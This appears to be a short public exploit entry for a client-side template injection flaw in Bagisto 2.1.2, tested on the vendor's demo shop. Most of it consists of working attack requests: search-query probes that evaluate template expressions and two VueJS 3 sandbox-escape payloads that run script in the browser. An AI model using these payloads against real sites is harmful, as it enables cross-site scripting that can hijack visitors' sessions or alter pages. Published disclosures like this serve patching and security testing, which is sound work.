Bagisto version 2.1.2 suffers from a client-side template injection vulnerability.
# Exploit Title: Bagisto 2.1.2 Client-Side Template Injection(CSTI) (VueJS)
# Date: 06/18/2024
# Exploit Author: tmrswrr
# Vendor Homepage: https://forums.bagisto.com/
# Version: 2.1.2
# Tested on: https://demo.bagisto.com/
https://demo.bagisto.com/bagisto-common/search?query={{7*7}}
49
https://demo.bagisto.com/bagisto-common/search?query={{'a'.toUpperCase()}}
A
https://demo.bagisto.com/bagisto/search?query={{ Object.keys(this) }}
[ "_", "onSubmit", "onInvalidSubmit", "lazyImages", "animateBoxes" ]
> Payloads for VueJS 3
https://demo.bagisto.com/bagisto/search?query={{_openBlock.constructor('alert(1)')()}}
https://demo.bagisto.com/bagisto/search?query={{-function(){this.alert(1)}()}}
> You will be see alert button
